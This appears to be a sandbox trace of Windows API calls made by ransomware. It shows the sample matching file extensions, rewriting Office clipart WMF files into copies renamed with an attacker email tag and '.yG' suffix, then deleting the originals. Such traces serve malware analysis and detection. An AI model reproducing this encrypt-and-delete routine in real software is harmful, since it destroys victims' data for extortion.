	[0146.831] lstrlenW (lpString=".7z") returned 3
	[0146.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.831] lstrlenW (lpString=".dbf") returned 4
	[0146.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.831] lstrlenW (lpString=".1cd") returned 4
	[0146.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.831] lstrlenW (lpString=".jpg") returned 4
	[0146.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.832] lstrlenW (lpString=".doc") returned 4
	[0146.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.832] lstrlenW (lpString=".docx") returned 5
	[0146.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.832] lstrlenW (lpString=".pdf") returned 4
	[0146.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.832] lstrlenW (lpString=".xls") returned 4
	[0146.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.872] lstrlenW (lpString=".xlsx") returned 5
	[0146.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.873] lstrlenW (lpString=".ppt") returned 4
	[0146.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.873] lstrlenW (lpString=".zip") returned 4
	[0146.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.873] lstrlenW (lpString=".rar") returned 4
	[0146.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.873] lstrlenW (lpString=".bz2") returned 4
	[0146.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.873] lstrlenW (lpString=".7z") returned 3
	[0146.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.873] lstrlenW (lpString=".dbf") returned 4
	[0146.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.873] lstrlenW (lpString=".1cd") returned 4
	[0146.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.873] lstrlenW (lpString=".jpg") returned 4
	[0146.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.873] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.873] lstrlenW (lpString="FD00438_.WMF") returned 12
	[0146.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.038] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=5098) returned 1
	[0147.038] CloseHandle (hObject=0x51c) returned 1
	[0147.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220
	[0147.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.042] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.042] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0147.043] GetLastError () returned 0x0
	[0147.043] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x13ea, lpOverlapped=0x0) returned 1
	[0147.059] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0147.060] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.061] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.061] SetEndOfFile (hFile=0x4ac) returned 1
	[0147.061] CloseHandle (hObject=0x4ac) returned 1
	[0147.061] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.061] SetEndOfFile (hFile=0x51c) returned 1
	[0147.065] CloseHandle (hObject=0x51c) returned 1
	[0147.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0147.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.067] lstrlenW (lpString=".doc") returned 4
	[0147.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.067] lstrlenW (lpString=".docx") returned 5
	[0147.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.067] lstrlenW (lpString=".pdf") returned 4
	[0147.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.067] lstrlenW (lpString=".xls") returned 4
	[0147.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.068] lstrlenW (lpString=".xlsx") returned 5
	[0147.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.068] lstrlenW (lpString=".ppt") returned 4
	[0147.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.068] lstrlenW (lpString=".zip") returned 4
	[0147.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.068] lstrlenW (lpString=".rar") returned 4
	[0147.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.068] lstrlenW (lpString=".bz2") returned 4
	[0147.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.068] lstrlenW (lpString=".7z") returned 3
	[0147.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.068] lstrlenW (lpString=".dbf") returned 4
	[0147.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.068] lstrlenW (lpString=".1cd") returned 4
	[0147.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.069] lstrlenW (lpString=".jpg") returned 4
	[0147.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.069] lstrlenW (lpString=".doc") returned 4
	[0147.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString=".docx") returned 5
	[0147.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.069] lstrlenW (lpString=".pdf") returned 4
	[0147.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString=".xls") returned 4
	[0147.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.069] lstrlenW (lpString=".xlsx") returned 5
	[0147.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.069] lstrlenW (lpString=".ppt") returned 4
	[0147.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.069] lstrlenW (lpString=".zip") returned 4
	[0147.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.069] lstrlenW (lpString=".rar") returned 4
	[0147.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString=".bz2") returned 4
	[0147.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString=".7z") returned 3
	[0147.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.069] lstrlenW (lpString=".dbf") returned 4
	[0147.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.069] lstrlenW (lpString=".1cd") returned 4
	[0147.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0147.070] lstrlenW (lpString=".jpg") returned 4
	[0147.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.070] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.070] lstrlenW (lpString="FD00455_.WMF") returned 12
	[0147.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0147.075] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8926) returned 1
	[0147.075] CloseHandle (hObject=0x4b0) returned 1
	[0147.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220
	[0147.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0147.076] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.076] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0147.115] GetLastError () returned 0x0
	[0147.115] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x22de, lpOverlapped=0x0) returned 1
	[0147.127] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x22e0, lpOverlapped=0x0) returned 1
	[0147.129] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.129] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.130] SetEndOfFile (hFile=0x4ac) returned 1
	[0147.130] CloseHandle (hObject=0x4ac) returned 1
	[0147.130] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.130] SetEndOfFile (hFile=0x4b0) returned 1
	[0147.135] CloseHandle (hObject=0x4b0) returned 1
	[0147.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0147.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.137] lstrlenW (lpString=".doc") returned 4
	[0147.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.137] lstrlenW (lpString=".docx") returned 5
	[0147.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.137] lstrlenW (lpString=".pdf") returned 4
	[0147.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.137] lstrlenW (lpString=".xls") returned 4
	[0147.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.137] lstrlenW (lpString=".xlsx") returned 5
	[0147.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.137] lstrlenW (lpString=".ppt") returned 4
	[0147.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.137] lstrlenW (lpString=".zip") returned 4
	[0147.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.137] lstrlenW (lpString=".rar") returned 4
	[0147.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.137] lstrlenW (lpString=".bz2") returned 4
	[0147.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.138] lstrlenW (lpString=".7z") returned 3
	[0147.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.138] lstrlenW (lpString=".dbf") returned 4
	[0147.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.138] lstrlenW (lpString=".1cd") returned 4
	[0147.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.138] lstrlenW (lpString=".jpg") returned 4
	[0147.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.138] lstrlenW (lpString=".doc") returned 4
	[0147.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.138] lstrlenW (lpString=".docx") returned 5
	[0147.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.138] lstrlenW (lpString=".pdf") returned 4
	[0147.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.138] lstrlenW (lpString=".xls") returned 4
	[0147.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.138] lstrlenW (lpString=".xlsx") returned 5
	[0147.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.138] lstrlenW (lpString=".ppt") returned 4
	[0147.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.139] lstrlenW (lpString=".zip") returned 4
	[0147.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.139] lstrlenW (lpString=".rar") returned 4
	[0147.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.139] lstrlenW (lpString=".bz2") returned 4
	[0147.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.139] lstrlenW (lpString=".7z") returned 3
	[0147.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.139] lstrlenW (lpString=".dbf") returned 4
	[0147.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.139] lstrlenW (lpString=".1cd") returned 4
	[0147.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0147.139] lstrlenW (lpString=".jpg") returned 4
	[0147.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.139] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.139] lstrlenW (lpString="FD00459_.WMF") returned 12
	[0147.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0147.140] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=17406) returned 1
	[0147.140] CloseHandle (hObject=0x4b0) returned 1
	[0147.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220
	[0147.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.611] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.611] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0147.613] GetLastError () returned 0x0
	[0147.613] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x43fe, lpOverlapped=0x0) returned 1
	[0147.650] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4400, lpOverlapped=0x0) returned 1
	[0147.652] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.652] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.652] SetEndOfFile (hFile=0x548) returned 1
	[0147.652] CloseHandle (hObject=0x548) returned 1
	[0147.653] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.653] SetEndOfFile (hFile=0x51c) returned 1
	[0147.658] CloseHandle (hObject=0x51c) returned 1
	[0147.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1
	[0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.659] lstrlenW (lpString=".doc") returned 4
	[0147.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.659] lstrlenW (lpString=".docx") returned 5
	[0147.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.659] lstrlenW (lpString=".pdf") returned 4
	[0147.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.659] lstrlenW (lpString=".xls") returned 4
	[0147.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.660] lstrlenW (lpString=".xlsx") returned 5
	[0147.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.660] lstrlenW (lpString=".ppt") returned 4
	[0147.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.660] lstrlenW (lpString=".zip") returned 4
	[0147.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.660] lstrlenW (lpString=".rar") returned 4
	[0147.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.660] lstrlenW (lpString=".bz2") returned 4
